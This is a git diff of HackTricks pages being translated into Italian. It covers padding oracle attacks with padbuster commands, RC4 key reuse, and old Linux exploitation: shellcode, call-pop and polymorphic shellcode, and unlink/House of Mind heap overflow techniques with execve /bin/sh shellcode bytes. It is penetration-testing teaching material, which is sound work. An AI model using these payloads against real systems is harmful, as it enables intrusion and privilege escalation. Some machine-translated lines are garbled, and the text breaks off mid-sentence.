application. You could also do it using `paduster`specifying the -plaintext** parameter: - +Potresti anche **sfruttare questa vulnerabilità per crittografare nuovi dati. Ad esempio, immagina che il contenuto del cookie sia "**_**user=MyUsername**_**", quindi potresti cambiarlo in "\_user=administrator\_" e ottenere privilegi elevati all'interno dell'applicazione. Potresti anche farlo usando `paduster` specificando il parametro -plaintext**: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" ``` - -If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter. - +Se il sito è vulnerabile, `padbuster` proverà automaticamente a trovare quando si verifica l'errore di padding, ma puoi anche indicare il messaggio di errore utilizzando il parametro **-error**. ```bash perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" ``` +## La teoria -## The theory - -In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**. +In **sintesi**, puoi iniziare a decrittare i dati crittografati indovinando i valori corretti che possono essere utilizzati per creare tutti i **diversi padding**. Poi, l'attacco padding oracle inizierà a decrittare i byte dalla fine all'inizio indovinando quale sarà il valore corretto che **crea un padding di 1, 2, 3, ecc**. ![](<../images/image (629) (1) (1).png>) -Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\ -In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\ -Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So: +Immagina di avere del testo crittografato che occupa **2 blocchi** formati dai byte da **E0 a E15**.\ +Per **decrittare** l'**ultimo** **blocco** (**E8** a **E15**), l'intero blocco passa attraverso la "decrittazione del blocco" generando i **byte intermedi I0 a I15**.\ +Infine, ogni byte intermedio è **XORato** con i byte crittografati precedenti (E0 a E7). Quindi: - `C15 = D(E15) ^ E7 = I15 ^ E7` - `C14 = I14 ^ E6` @@ -82,33 +72,31 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes ( - `C12 = I12 ^ E4` - ... -Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7` +Ora, è possibile **modificare `E7` fino a quando `C15` è `0x01`**, che sarà anche un padding corretto. Quindi, in questo caso: `\x01 = I15 ^ E'7` -So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7` +Quindi, trovando E'7, è **possibile calcolare I15**: `I15 = 0x01 ^ E'7` -Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` +Il che ci permette di **calcolare C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` -Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`. +Sapendo **C15**, ora è possibile **calcolare C14**, ma questa volta forzando il padding `\x02\x02`. -This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\ -Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** +Questo BF è complesso quanto il precedente poiché è possibile calcolare il `E''15` il cui valore è 0x02: `E''7 = \x02 ^ I15` quindi è solo necessario trovare il **`E'14`** che genera un **`C14` uguale a `0x02`**.\ +Poi, segui gli stessi passaggi per decrittare C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** -**Follow this chain until you decrypt the whole encrypted text.** +**Segui questa catena fino a decrittare l'intero testo crittografato.** -## Detection of the vulnerability +## Rilevamento della vulnerabilità -Register and account and log in with this account .\ -If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t. +Registrati e accedi con questo account.\ +Se **accedi molte volte** e ricevi sempre lo **stesso cookie**, probabilmente c'è **qualcosa** **sbagliato** nell'applicazione. Il **cookie restituito dovrebbe essere unico** ogni volta che accedi. Se il cookie è **sempre** lo **stesso**, probabilmente sarà sempre valido e non **ci sarà modo di invalidarlo**. -Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\ -But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster. +Ora, se provi a **modificare** il **cookie**, puoi vedere che ricevi un **errore** dall'applicazione.\ +Ma se forzi il padding (usando padbuster per esempio) riesci a ottenere un altro cookie valido per un utente diverso. Questo scenario è altamente probabile che sia vulnerabile a padbuster. -## References +## Riferimenti - [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
-{% embed url="https://websec.nl/" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/rc4-encrypt-and-decrypt.md b/src/cryptography/rc4-encrypt-and-decrypt.md index dc89fa296..dcc8e8eab 100644 --- a/src/cryptography/rc4-encrypt-and-decrypt.md +++ b/src/cryptography/rc4-encrypt-and-decrypt.md @@ -1,8 +1,8 @@ {{#include ../banners/hacktricks-training.md}} -If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function. +Se riesci in qualche modo a crittografare un testo in chiaro utilizzando RC4, puoi decrittografare qualsiasi contenuto crittografato da quel RC4 (utilizzando la stessa password) semplicemente usando la funzione di crittografia. -If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine: +Se puoi crittografare un testo in chiaro noto, puoi anche estrarre la password. Maggiori riferimenti possono essere trovati nella macchina HTB Kryptos: {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} diff --git a/src/emails-vulns.md b/src/emails-vulns.md index 15d9cc343..2c57229aa 100644 --- a/src/emails-vulns.md +++ b/src/emails-vulns.md @@ -1,4 +1,4 @@ -# Emails Vulnerabilities +# Vulnerabilità delle Email {{#include ./banners/hacktricks-training.md}} @@ -7,4 +7,3 @@ ## {{#include ./banners/hacktricks-training.md}} - diff --git a/src/exploiting/linux-exploiting-basic-esp/README.md b/src/exploiting/linux-exploiting-basic-esp/README.md index b0feaf1a9..97882e56e 100644 --- a/src/exploiting/linux-exploiting-basic-esp/README.md +++ b/src/exploiting/linux-exploiting-basic-esp/README.md @@ -4,39 +4,36 @@ ## **2.SHELLCODE** -Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_” +Ver interrompimenti del kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_” setreuid(0,0); // \_\_NR_setreuid 70\ execve(“/bin/sh”, args\[], NULL); // \_\_NR_execve 11\ exit(0); // \_\_NR_exit 1 -xor eax, eax ; limpiamos eax\ -xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\ +xor eax, eax ; puliamo eax\ +xor ebx, ebx ; ebx = 0 poiché non ci sono argomenti da passare\ mov al, 0x01 ; eax = 1 —> \_\_NR_exit 1\ -int 0x80 ; Ejecutar syscall +int 0x80 ; Esegui syscall -**nasm -f elf assembly.asm** —> Nos devuelve un .o\ -**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\ -**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes - -**Comprobar que la shellcode funciona** +**nasm -f elf assembly.asm** —> Ci restituisce un .o\ +**ld assembly.o -o shellcodeout** —> Ci dà un eseguibile formato dal codice assembly e possiamo estrarre gli opcodes con **objdump**\ +**objdump -d -Mintel ./shellcodeout** —> Per vedere che effettivamente è la nostra shellcode e estrarre gli OpCodes +**Controllare che la shellcode funzioni** ``` char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” void main(){ - void (*fp) (void); - fp = (void *)shellcode; - fp(); +void (*fp) (void); +fp = (void *)shellcode; +fp(); } ``` +Per vedere che le chiamate di sistema vengono eseguite correttamente, è necessario compilare il programma precedente e le chiamate di sistema devono apparire in **strace ./PROGRAMA_COMPILADO**. -Para ver que las llamadas al sistema se realizan correctamente se debe compilar el programa anterior y las llamadas del sistema deben aparecer en **strace ./PROGRAMA_COMPILADO** - -A la hora de crear shellcodes se puede realizar un truco. La primera instrucción es un jump a un call. El call llama al código original y además mete en el stack el EIP. Después de la instrucción call hemos metido el string que necesitásemos, por lo que con ese EIP podemos señalar al string y además continuar ejecutando el código. - -EJ **TRUCO (/bin/sh)**: +Quando si creano shellcode, si può fare un trucco. La prima istruzione è un jump a un call. Il call chiama il codice originale e inoltre inserisce nello stack l'EIP. Dopo l'istruzione call abbiamo inserito la stringa di cui avevamo bisogno, quindi con quell'EIP possiamo puntare alla stringa e continuare a eseguire il codice. +EJ **TRUCCO (/bin/sh)**: ``` jmp 0x1f ; Salto al último call popl %esi ; Guardamos en ese la dirección al string @@ -56,9 +53,7 @@ int $0x80 ; exit(0) call -0x24 ; Salto a la primera instrución .string \”/bin/sh\” ; String a usar ``` - **EJ usando el Stack(/bin/sh):** - ``` section .text global _start @@ -79,54 +74,49 @@ mov ecx, esp ; arg2 = args[] mov al, 0x0b ; Syscall 11 int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL) ``` - **EJ FNSTENV:** - ``` fabs fnstenv [esp-0x0c] pop eax ; Guarda el EIP en el que se ejecutó fabs … ``` - **Egg Huter:** -Consiste en un pequeño código que recorre las páginas de memoria asociadas a un proceso en busca de la shellcode ahi guardada (busca alguna firma puesta en la shellcode). Útil en los casos en los que solo se tiene un pequeño espacio para inyectar código. +Consiste in un piccolo codice che attraversa le pagine di memoria associate a un processo in cerca della shellcode lì memorizzata (cerca qualche firma presente nella shellcode). Utile nei casi in cui si ha solo un piccolo spazio per iniettare codice. -**Shellcodes polimórficos** - -Consisten el shells cifradas que tienen un pequeño códigos que las descifran y saltan a él, usando el truco de Call-Pop este sería un **ejemplo cifrado cesar**: +**Shellcodes polimorfici** +Consistono in shell cifrate che hanno un piccolo codice che le decripta e salta a esse, usando il trucco di Call-Pop questo sarebbe un **esempio cifrato cesar**: ``` global _start _start: - jmp short magic +jmp short magic init: - pop esi - xor ecx, ecx - mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) +pop esi +xor ecx, ecx +mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) desc: - sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) - sub cl, 1 - jnz desc - jmp short sc +sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) +sub cl, 1 +jnz desc +jmp short sc magic: - call init +call init sc: - ;Aquí va el shellcode +;Aquí va el shellcode ``` +## **5.Metodi complementari** -## **5.Métodos complementarios** +**Tecnica di Murat** -**Técnica de Murat** +In linux tutti i programmi si mappano iniziando da 0xbfffffff -En linux todos los progamas se mapean comenzando en 0xbfffffff +Vedendo come si costruisce lo stack di un nuovo processo in linux si può sviluppare un exploit in modo che il programma venga avviato in un ambiente la cui unica variabile sia la shellcode. L'indirizzo di questa può quindi essere calcolato come: addr = 0xbfffffff - 4 - strlen(NOME_ejecutable_completo) - strlen(shellcode) -Viendo como se construye la pila de un nuevo proceso en linux se puede desarrollar un exploit de forma que programa sea arrancado en un entorno cuya única variable sea la shellcode. La dirección de esta entonces se puede calcular como: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode) +In questo modo si otterrebbe in modo semplice l'indirizzo dove si trova la variabile di ambiente con la shellcode. -De esta forma se obtendría de forma sensilla la dirección donde está la variable de entorno con la shellcode. - -Esto se puede hacer gracias a que la función execle permite crear un entorno que solo tenga las variables de entorno que se deseen +Questo è possibile grazie al fatto che la funzione execle permette di creare un ambiente che abbia solo le variabili di ambiente desiderate. ## @@ -140,124 +130,124 @@ Esto se puede hacer gracias a que la función execle permite crear un entorno qu ### **Format Strings to Buffer Overflows** -Tthe **sprintf moves** a formatted string **to** a **variable.** Therefore, you could abuse the **formatting** of a string to cause a **buffer overflow in the variable** where the content is copied to.\ -For example, the payload `%.44xAAAA` will **write 44B+"AAAA" in the variable**, which may cause a buffer overflow. +Il **sprintf moves** una stringa formattata **a** una **variabile.** Pertanto, si potrebbe abusare del **formato** di una stringa per causare un **buffer overflow nella variabile** dove il contenuto viene copiato.\ +Ad esempio, il payload `%.44xAAAA` scriverà **44B+"AAAA" nella variabile**, il che potrebbe causare un buffer overflow. ### **\_\_atexit Structures** > [!CAUTION] -> Nowadays is very **weird to exploit this**. +> Oggi è molto **strano sfruttare questo**. -**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\ -If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\ -Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\ -The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector. +**`atexit()`** è una funzione a cui **altre funzioni vengono passate come parametri.** Queste **funzioni** verranno **eseguite** quando si esegue un **`exit()`** o il **return** del **main**.\ +Se puoi **modificare** l'**indirizzo** di una di queste **funzioni** per puntare a una shellcode, ad esempio, otterrai **il controllo** del **processo**, ma attualmente questo è più complicato.\ +Attualmente gli **indirizzi delle funzioni** da eseguire sono **nascosti** dietro diverse strutture e infine l'indirizzo a cui puntano non è l'indirizzo delle funzioni, ma è **crittografato con XOR** e spostamenti con una **chiave casuale**. Quindi attualmente questo vettore di attacco non è **molto utile almeno su x86** e **x64_86**.\ +La **funzione di crittografia** è **`PTR_MANGLE`**. **Altre architetture** come m68k, mips32, mips64, aarch64, arm, hppa... **non implementano la funzione di crittografia** perché **restituisce lo stesso** di quanto ricevuto come input. Quindi queste architetture sarebbero attaccabili tramite questo vettore. ### **setjmp() & longjmp()** > [!CAUTION] -> Nowadays is very **weird to exploit this**. +> Oggi è molto **strano sfruttare questo**. -**`Setjmp()`** allows to **save** the **context** (the registers)\ -**`longjmp()`** allows to **restore** the **context**.\ -The **saved registers** are: `EBX, ESI, EDI, ESP, EIP, EBP`\ -What happens is that EIP and ESP are passed by the **`PTR_MANGLE`** function, so the **architecture vulnerable to this attack are the same as above**.\ -They are useful for error recovery or interrupts.\ -However, from what I have read, the other registers are not protected, **so if there is a `call ebx`, `call esi` or `call edi`** inside the function being called, control can be taken over. Or you could also modify EBP to modify the ESP. +**`Setjmp()`** consente di **salvare** il **contesto** (i registri)\ +**`longjmp()`** consente di **ripristinare** il **contesto**.\ +I **registri salvati** sono: `EBX, ESI, EDI, ESP, EIP, EBP`\ +Quello che succede è che EIP ed ESP vengono passati dalla funzione **`PTR_MANGLE`**, quindi le **architetture vulnerabili a questo attacco sono le stesse di sopra**.\ +Sono utili per il recupero degli errori o per le interruzioni.\ +Tuttavia, da quello che ho letto, gli altri registri non sono protetti, **quindi se c'è un `call ebx`, `call esi` o `call edi`** all'interno della funzione chiamata, il controllo può essere preso. Oppure si potrebbe anche modificare EBP per modificare ESP. -**VTable y VPTR en C++** +**VTable e VPTR in C++** -Each class has a **Vtable** which is an array of **pointers to methods**. +Ogni classe ha una **Vtable** che è un array di **puntatori a metodi**. -Each object of a **class** has a **VPtr** which is a **pointer** to the arrayof its class. The VPtr is part of the header of each object, so if an **overwrite** of the **VPtr** is achieved it could be **modified** to **point** to a dummy method so that executing a function would go to the shellcode. +Ogni oggetto di una **classe** ha un **VPtr** che è un **puntatore** all'array della sua classe. Il VPtr è parte dell'intestazione di ogni oggetto, quindi se si ottiene un **overwrite** del **VPtr** potrebbe essere **modificato** per **puntare** a un metodo fittizio in modo che l'esecuzione di una funzione vada alla shellcode. -## **Medidas preventivas y evasiones** +## **Misure preventive e evasioni** ### -**Reemplazo de Libsafe** +**Sostituzione di Libsafe** -Se activa con: LD_PRELOAD=/lib/libsafe.so.2\ +Si attiva con: LD_PRELOAD=/lib/libsafe.so.2\ o\ “/lib/libsave.so.2” > /etc/ld.so.preload -Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado. (solo para x86, no para compilaxiones con -fomit-frame-pointer, no compilaciones estaticas, no todas las funciones vulnerables se vuelven seguras y LD_PRELOAD no sirve en binarios con suid). +Si intercettano le chiamate ad alcune funzioni insicure con altre sicure. Non è standardizzato. (solo per x86, non per compilazioni con -fomit-frame-pointer, non compilazioni statiche, non tutte le funzioni vulnerabili diventano sicure e LD_PRELOAD non funziona in binari con suid). **ASCII Armored Address Space** -Consiste en cargar las librería compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene a penas ningún ataque, y menos en little endian. +Consiste nel caricare le librerie condivise da 0x00000000 a 0x00ffffff in modo che ci sia sempre un byte 0x00. Tuttavia, questo in realtà non ferma quasi nessun attacco, e meno in little endian. **ret2plt** -Consiste en realiza un ROP de forma que se llame a la función strcpy@plt (de la plt) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar (system()). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2ºbyte de system()… Al final se llama la dirección guardada en GOT que será system() +Consiste nel realizzare un ROP in modo che venga chiamata la funzione strcpy@plt (dalla plt) e si punti all'entrata della GOT e si copi il primo byte della funzione che si desidera chiamare (system()). Subito dopo si fa lo stesso puntando a GOT+1 e si copia il 2º byte di system()… Alla fine si chiama l'indirizzo memorizzato in GOT che sarà system() -**Jaulas con chroot()** +**Gabbie con chroot()** -debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico +debootstrap -arch=i386 hardy /home/user —> Installa un sistema di base sotto un sottodirectory specifico -Un admin puede salir de una de estas jaulas haciendo: mkdir foo; chroot foo; cd .. +Un admin può uscire da una di queste gabbie facendo: mkdir foo; chroot foo; cd .. -**Instrumentación de código** +**Strumentazione del codice** -Valgrind —> Busca errores\ +Valgrind —> Cerca errori\ Memcheck\ RAD (Return Address Defender)\ Insure++ -## **8 Heap Overflows: Exploits básicos** +## **8 Heap Overflows: Exploits di base** -**Trozo asignado** +**Blocco assegnato** prev_size |\ -size | —Cabecera\ -\*mem | Datos +size | —Intestazione\ +\*mem | Dati -**Trozo libre** +**Blocco libero** prev_size |\ size |\ -\*fd | Ptr forward chunk\ -\*bk | Ptr back chunk —Cabecera\ -\*mem | Datos +\*fd | Ptr blocco successivo\ +\*bk | Ptr blocco precedente —Intestazione\ +\*mem | Dati -Los trozos libres están en una lista doblemente enlazada (bin) y nunca pueden haber dos trozos libres juntos (se juntan) +I blocchi liberi sono in una lista doppiamente collegata (bin) e non possono mai esserci due blocchi liberi insieme (si uniscono) -En “size” hay bits para indicar: Si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap() y si el trozo pertenece al arena primario. +In “size” ci sono bit per indicare: Se il blocco precedente è in uso, se il blocco è stato assegnato tramite mmap() e se il blocco appartiene all'arena primaria. -Si al liberar un trozo alguno de los contiguos se encuentra libre , estos se fusionan mediante la macro unlink() y se pasa el nuevo trozo más grande a frontlink() para que le inserte el bin adecuado. +Se liberando un blocco uno dei contigui si trova libero, questi si fondono tramite la macro unlink() e si passa il nuovo blocco più grande a frontlink() per farlo inserire nel bin adeguato. unlink(){\ -BK = P->bk; —> El BK del nuevo chunk es el que tuviese el que ya estaba libre antes\ -FD = P->fd; —> El FD del nuevo chunk es el que tuviese el que ya estaba libre antes\ -FD->bk = BK; —> El BK del siguiente chunk apunta al nuevo chunk\ -BK->fd = FD; —> El FD del anterior chunk apunta al nuevo chunk\ +BK = P->bk; —> Il BK del nuovo chunk è quello che aveva il chunk già libero prima\ +FD = P->fd; —> Il FD del nuovo chunk è quello che aveva il chunk già libero prima\ +FD->bk = BK; —> Il BK del chunk successivo punta al nuovo chunk\ +BK->fd = FD; —> Il FD del chunk precedente punta al nuovo chunk\ } -Por lo tanto si conseguimos modificar el P->bk con la dirección de un shellcode y el P->fd con la dirección a una entrada en la GOT o DTORS menos 12 se logra: +Pertanto, se riusciamo a modificare il P->bk con l'indirizzo di una shellcode e il P->fd con l'indirizzo a un'entrata nella GOT o DTORS meno 12 si ottiene: BK = P->bk = \&shellcode\ FD = P->fd = &\_\_dtor_end\_\_ - 12\ FD->bk = BK -> \*((&\_\_dtor_end\_\_ - 12) + 12) = \&shellcode -Y así se se ejecuta al salir del programa la shellcode. +E così si esegue al termine del programma la shellcode. -Además, la 4º sentencia de unlink() escribe algo y la shellcode tiene que estar reparada para esto: +Inoltre, la 4º istruzione di unlink() scrive qualcosa e la shellcode deve essere riparata per questo: -BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode. +BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Questo provoca la scrittura di 4 byte a partire dall'8º byte della shellcode, quindi la prima istruzione della shellcode deve essere un jmp per saltare questo e cadere in alcuni nops che portano al resto della shellcode. -Por lo tanto el exploit se crea: +Pertanto, l'exploit si crea: -En el buffer1 metemos la shellcode comenzando por un jmp para que caiga en los nops o en el resto de la shellcode. +Nel buffer1 mettiamo la shellcode iniziando con un jmp per farla cadere nei nops o nel resto della shellcode. -Después de la shell code metemos relleno hasta llegar al campo prev_size y size del siguiente trozo. En estos sitios metemos 0xfffffff0 (de forma que se sobrescrita el prev_size para que tenga el bit que dice que está libre) y “-4“(0xfffffffc) en el size (para que cuando compruebe en el 3º trozo si el 2º estaba libre en realidad vaya al prev_size modificado que le dirá que s´está libre) -> Así cuando free() investigue irá al size del 3º pero en realidad irá al 2º - 4 y pensará que el 2º trozo está libre. Y entonces llamará a **unlink()**. +Dopo la shellcode mettiamo riempimento fino a raggiungere il campo prev_size e size del blocco successivo. In questi posti mettiamo 0xfffffff0 (in modo che si sovrascriva il prev_size per avere il bit che dice che è libero) e “-4“(0xfffffffc) in size (in modo che quando controlla nel 3º blocco se il 2º era realmente libero vada al prev_size modificato che gli dirà che è libero) -> Così quando free() indaga andrà al size del 3º ma in realtà andrà al 2º - 4 e penserà che il 2º blocco è libero. E quindi chiamerà **unlink()**. -Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quieres sobreescribir - 12(pues en FD->bk le sumará 12 a la dirección guardada en FD) . Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode(P->bk falso). +Chiamando unlink() userà come P->fd i primi dati del 2º blocco per cui lì si metterà l'indirizzo che si vuole sovrascrivere - 12 (poiché in FD->bk gli somma 12 all'indirizzo memorizzato in FD). E in quell'indirizzo inserirà il secondo indirizzo che trova nel 2º blocco, che ci interesserà che sia l'indirizzo alla shellcode (P->bk falso). **from struct import \*** **import os** -**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno** +**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes di riempimento** **shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\** @@ -265,73 +255,73 @@ Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo q **"\x80\xe8\xdc\xff\xff\xff/bin/sh";** -**prev_size = pack("\ Devuelve un puntero a la dirección donde comienza el trozo (mem-8) +p = mem2chunk(mes); —> Restituisce un puntatore all'indirizzo dove inizia il blocco (mem-8) … @@ -351,11 +341,11 @@ ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->a } -En \[1] comprueba el campo size el bit NON_MAIN_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap_for_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar_ptr (como si fuese un struct heap_info) +In \[1] controlla il campo size il bit NON_MAIN_ARENA, il quale può essere alterato affinché il controllo restituisca true ed esegua heap_for_ptr() che fa un and a “mem” lasciando a 0 i 2.5 byte meno significativi (nel nostro caso da 0x0804a000 lascia 0x08000000) e accede a 0x08000000->ar_ptr (come se fosse un struct heap_info) -De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en **0x081002a0** podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo **0x0804a000**. Cuando este segundo trozo se libere se encontrará que heap_for_ptr(ptr)->ar_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar_ptr) +In questo modo se possiamo controllare un blocco ad esempio in 0x0804a000 e si va a liberare un blocco in **0x081002a0** possiamo arrivare all'indirizzo 0x08100000 e scrivere quello che vogliamo, ad esempio **0x0804a000**. Quando questo secondo blocco viene liberato si troverà che heap_for_ptr(ptr)->ar_ptr restituisce ciò che abbiamo scritto in 0x08100000 (poiché si applica a 0x081002a0 l'and che abbiamo visto prima e da lì si estrae il valore dei primi 4 byte, l'ar_ptr) -De esta forma se llama a \_int_free(ar_ptr, mem), es decir, **\_int_free(0x0804a000, 0x081002a0)**\ +In questo modo si chiama a \_int_free(ar_ptr, mem), cioè, **\_int_free(0x0804a000, 0x081002a0)**\ **\_int_free(mstate av, Void_t\* mem){**\ …\ bck = unsorted_chunks(av);\ @@ -367,36 +357,36 @@ fwd->bk = p; ..} -Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar. +Come abbiamo visto prima possiamo controllare il valore di av, poiché è ciò che scriviamo nel blocco che si va a liberare. -Tal y como se define unsorted_chunks, sabemos que:\ +Così come è definito unsorted_chunks, sappiamo che:\ bck = \&av->bins\[2]-8;\ fwd = bck->fd = \*(av->bins\[2]);\ fwd->bk = \*(av->bins\[2] + 12) = p; -Por lo tanto si en av->bins\[2] escribimos el valor de \_\_DTOR_END\_\_-12 en la última instrucción se escribirá en \_\_DTOR_END\_\_ la dirección del segundo trozo. +Pertanto, se in av->bins\[2] scriviamo il valore di \_\_DTOR_END\_\_-12 nell'ultima istruzione si scriverà in \_\_DTOR_END\_\_ l'indirizzo del secondo blocco. -Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de \_\_DTOR_END\_\_-12 porque de ahí la sacará av->bins\[2] +Cioè, nel primo blocco dobbiamo mettere all'inizio molte volte l'indirizzo di \_\_DTOR_END\_\_-12 perché da lì lo estrarrà av->bins\[2] -En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap_for_ptr() piense que el ar_ptr está al inicio del primer trozo y saque de ahí el av->bins\[2] +Nell'indirizzo in cui cadrà l'indirizzo del secondo blocco con gli ultimi 5 zeri dobbiamo scrivere l'indirizzo a questo primo blocco affinché heap_for_ptr() pensi che l'ar_ptr sia all'inizio del primo blocco e estragga da lì l'av->bins\[2] -En el segundo trozo y gracias al primero sobreescribimos el prev_size con un jump 0x0c y el size con algo para activar -> NON_MAIN_ARENA +Nel secondo blocco e grazie al primo sovrascriviamo il prev_size con un jump 0x0c e il size con qualcosa per attivare -> NON_MAIN_ARENA -A continuación en el trozo 2 ponemos un montón de nops y finalmente la shellcode +Successivamente nel blocco 2 mettiamo un sacco di nops e infine la shellcode -De esta forma se llamará a \_int_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en \_\_DTOR_END\_\_ la dirección del prev_size del TROZO2 el cual saltará a la shellcode. +In questo modo si chiamerà a \_int_free(TROZO1, TROZO2) e seguirà le istruzioni per scrivere in \_\_DTOR_END\_\_ l'indirizzo del prev_size del TROZO2 che salterà alla shellcode. -Para aplicar esta técnica hace falta que se cumplan algunos requerimientos más que complican un poco más el payload. +Per applicare questa tecnica è necessario che si soddisfino alcuni requisiti in più che complicano un po' di più il payload. -Esta técnica ya no es aplicable pues se aplicó casi el mismo parche que para unlink. Se comparan si el nuevo sitio al que se apunta también le está apuntando a él. +Questa tecnica non è più applicabile poiché è stato applicato quasi lo stesso patch che per unlink. Si confrontano se il nuovo sito a cui si punta gli sta anche puntando. **Fastbin** -Es una variante de The house of mind +È una variante di The house of mind -nos interesa llegar a ejecutar el siguiente código al cuál se llega pasada la primera comprobación de la función \_int_free() +ci interessa arrivare a eseguire il seguente codice al quale si arriva dopo la prima verifica della funzione \_int_free() -fb = &(av->fastbins\[fastbin_index(size)] —> Siendo fastbin_index(sz) —> (sz >> 3) - 2 +fb = &(av->fastbins\[fastbin_index(size)] —> Essendo fastbin_index(sz) —> (sz >> 3) - 2 … @@ -404,61 +394,61 @@ p->fd = \*fb \*fb = p -De esta forma si se pone en “fb” da dirección de una función en la GOT, en esta dirección se pondrá la dirección al trozo sobrescrito. Para esto será necesario que la arena esté cerca de las direcciones de dtors. Más exactamente que av->max_fast esté en la dirección que vamos a sobreescribir. +In questo modo se si mette in “fb” dà l'indirizzo di una funzione nella GOT, in questo indirizzo si metterà l'indirizzo al blocco sovrascritto. Per questo sarà necessario che l'arena sia vicina agli indirizzi di 